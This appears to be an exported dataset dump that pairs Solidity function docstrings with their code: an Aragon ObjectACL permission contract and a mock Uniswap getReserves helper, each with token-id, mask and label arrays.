import '@aragon/os/contracts/apps/AragonApp.sol';
contract ObjectACL is AragonApp, ACLHelpers {
bytes32 public constant OBJECTACL_ADMIN_ROLE = keccak256("OBJECTACL_ADMIN_ROLE");
event SetObjectPermission(address indexed entity, bytes32 indexed obj, bytes32 indexed role, bool allowed);
event ChangeObjectPermissionManager(bytes32 indexed obj, bytes32 indexed role, address indexed manager);
mapping (bytes32 => mapping (bytes32 => bool)) internal objectPermissions;
mapping (bytes32 => address) internal objectPermissionManager;
modifier onlyPermissionManager(address _sender, bytes32 _obj, bytes32 _role) {
require(getObjectPermissionManager(_obj, _role) == _sender, "Must be the object permission manager");
_;
}
/**
* @dev Initialize can only be called once. It saves the block number in which it was initialized.
*/
function initialize() public onlyInit {
initialized();
}
/**
* @dev Creates a `_role` permission with a uint object on the Datastore
* @param _entity Entity for which to set the permission
* @param _obj Object
* @param _role Identifier for the group of actions in app given access to perform
* @param _permissionManager The permission manager
*/
function createObjectPermission(address _entity, uint256 _obj, bytes32 _role, address _permissionManager)
external
{
createObjectPermission(_entity, keccak256(abi.encodePacked(_obj)), _role, _permissionManager);
}
/**
* @dev Creates a `_role` permission with an object on the Datastore
* @param _entity Entity for which to set the permission
* @param _obj Object
* @param _role Identifier for the group of actions in app given access to perform
* @param _permissionManager The permission manager
*/
function createObjectPermission(address _entity, bytes32 _obj, bytes32 _role, address _permissionManager)
public
auth(OBJECTACL_ADMIN_ROLE)
{
_setObjectPermission(_entity, _obj, _role, true);
_setObjectPermissionManager(_permissionManager, _obj, _role);
}
/**
* @dev Function called to verify permission for role `_role` and uint object `_obj` status on `_entity`
* @param _entity Address of the entity
* @param _obj Object
* @param _role Identifier for the group of actions in app given access to perform
* @return boolean indicating whether the ACL allows the role or not
*/
function hasObjectPermission(address _entity, uint256 _obj, bytes32 _role) public view returns (bool)
{
return hasObjectPermission(_entity, keccak256(abi.encodePacked(_obj)), _role);
}
/**
* @dev Function called to verify permission for role `_role` and an object `_obj` status on `_entity`
* @param _entity Address of the entity
* @param _obj Object
* @param _role Identifier for the group of actions in app given access to perform
* @return boolean indicating whether the ACL allows the role or not
*/
function hasObjectPermission(address _entity, bytes32 _obj, bytes32 _role) public view returns (bool)
{
return objectPermissions[_obj][permissionHash(_entity, _role)];
}
/**
* @dev Grants permission for role `_role` on object `_obj`, if allowed.
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _obj Object
* @param _role Identifier for the group of actions in app given access to perform
* @param _sender The entity that wants to grant the permission
*/
function grantObjectPermission(address _entity, uint256 _obj, bytes32 _role, address _sender)
external
{
return grantObjectPermission(_entity, keccak256(abi.encodePacked(_obj)), _role, _sender);
}
/**
* @dev Grants permission for role `_role` on object `_obj`, if allowed.
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _obj Object
* @param _role Identifier for the group of actions in app given access to perform
* @param _sender The entity that wants to grant the permission
*/
function grantObjectPermission(address _entity, bytes32 _obj, bytes32 _role, address _sender)
public
auth(OBJECTACL_ADMIN_ROLE)
onlyPermissionManager(_sender, _obj, _role)
{
_setObjectPermission(_entity, _obj, _role, true);
}
/**
* @dev Revokes permission for role `_role` on object `_obj`, if allowed.
* @param _entity Address of the whitelisted entity to revoke access from
* @param _obj Object
* @param _role Identifier for the group of actions in app being revoked
* @param _sender The entity that wants to revoke the permission
*/
function revokeObjectPermission(address _entity, uint256 _obj, bytes32 _role, address _sender)
external
{
revokeObjectPermission(_entity, keccak256(abi.encodePacked(_obj)), _role, _sender);
}
/**
* @dev Revokes permission for role `_role` on object `_obj`, if allowed.
* @param _entity Address of the whitelisted entity to revoke access from
* @param _obj Object
* @param _role Identifier for the group of actions in app being revoked
* @param _sender The entity that wants to revoke the permission
*/
function revokeObjectPermission(address _entity, bytes32 _obj, bytes32 _role, address _sender)
public
auth(OBJECTACL_ADMIN_ROLE)
onlyPermissionManager(_sender, _obj, _role)
{
_setObjectPermission(_entity, _obj, _role, false);
}
/**
* @dev Get manager for permission
* @param _obj Object
* @param _role Identifier for a group of actions in app
* @return address of the manager for the permission
*/
function getObjectPermissionManager(uint _obj, bytes32 _role) public view returns (address) {
return getObjectPermissionManager(keccak256(abi.encodePacked(_obj)), _role);
}
/**
* @dev Get manager for permission
* @param _obj Object
* @param _role Identifier for a group of actions in app
* @return address of the manager for the permission
*/
function getObjectPermissionManager(bytes32 _obj, bytes32 _role) public view returns (address) {
return objectPermissionManager[objectRoleHash(_obj, _role)];
}
/**
* @dev Internal function called to actually save the permission
*/
function _setObjectPermission(address _entity, bytes32 _obj, bytes32 _role, bool _hasPermission) internal {
objectPermissions[_obj][permissionHash(_entity, _role)] = _hasPermission;
emit SetObjectPermission(_entity, _obj, _role, _hasPermission);
}
function _setObjectPermissionManager(address _newManager, bytes32 _obj, bytes32 _role) internal {
objectPermissionManager[objectRoleHash(_obj, _role)] = _newManager;
emit ChangeObjectPermissionManager(_obj, _role, _newManager);
}
function permissionHash(address _entity, bytes32 _role) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("OBJECT_PERMISSION", _entity, _role));
}
function objectRoleHash(bytes32 _obj, bytes32 _role) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("OBJECT_ROLE", _obj, _role));
}
}
| * @dev Grants permission for role `_role` on object `_obj`, if allowed. @param _entity Address of the whitelisted entity that will be able to perform the role @param _obj Object @param _role Identifier for the group of actions in app given access to perform @param _sender The entity that wants to grant the permission/ | function grantObjectPermission(address _entity, bytes32 _obj, bytes32 _role, address _sender)
public
auth(OBJECTACL_ADMIN_ROLE)
onlyPermissionManager(_sender, _obj, _role)
{
_setObjectPermission(_entity, _obj, _role, true);
}
| 12,957,988 | [
1,
29598,
4132,
364,
2478,
1375,
67,
4615,
68,
603,
733,
1375,
67,
2603,
9191,
309,
2935,
18,
225,
389,
1096,
5267,
434,
326,
26944,
1522,
716,
903,
506,
7752,
358,
3073,
326,
2478,
225,
389,
2603,
1033,
225,
389,
4615,
10333,
364,
326,
1041,
434,
4209,
316,
595,
864,
2006,
358,
3073,
225,
389,
15330,
1021,
1522,
716,
14805,
358,
7936,
326,
4132,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7936,
921,
5041,
12,
2867,
389,
1096,
16,
1731,
1578,
389,
2603,
16,
1731,
1578,
389,
4615,
16,
1758,
389,
15330,
13,
203,
3639,
1071,
203,
3639,
1357,
12,
9422,
9486,
67,
15468,
67,
16256,
13,
203,
3639,
1338,
5041,
1318,
24899,
15330,
16,
389,
2603,
16,
389,
4615,
13,
203,
565,
288,
203,
3639,
389,
542,
921,
5041,
24899,
1096,
16,
389,
2603,
16,
389,
4615,
16,
638,
1769,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x373ae78a14577682591E088F2E78EF1417612c68/sources/contracts/mock/MockUniswapV2Router02.sol | fetches and sorts the reserves for a pair | function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint reserveA, uint reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1, ) =
MockUniswapV2Router02IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
| 4,169,196 | [
1,
5754,
281,
471,
18524,
326,
400,
264,
3324,
364,
279,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
31792,
264,
3324,
12,
203,
565,
1758,
3272,
16,
203,
565,
1758,
1147,
37,
16,
203,
565,
1758,
1147,
38,
203,
225,
262,
2713,
1476,
1135,
261,
11890,
20501,
37,
16,
2254,
20501,
38,
13,
288,
203,
565,
261,
2867,
1147,
20,
16,
262,
273,
1524,
5157,
12,
2316,
37,
16,
1147,
38,
1769,
203,
565,
261,
11890,
20501,
20,
16,
2254,
20501,
21,
16,
262,
273,
203,
1377,
7867,
984,
291,
91,
438,
58,
22,
8259,
3103,
45,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
1290,
12,
6848,
16,
1147,
37,
16,
1147,
38,
13,
2934,
588,
607,
264,
3324,
5621,
203,
565,
261,
455,
6527,
37,
16,
20501,
38,
13,
273,
1147,
37,
422,
1147,
20,
692,
261,
455,
6527,
20,
16,
20501,
21,
13,
294,
261,
455,
6527,
21,
16,
20501,
20,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.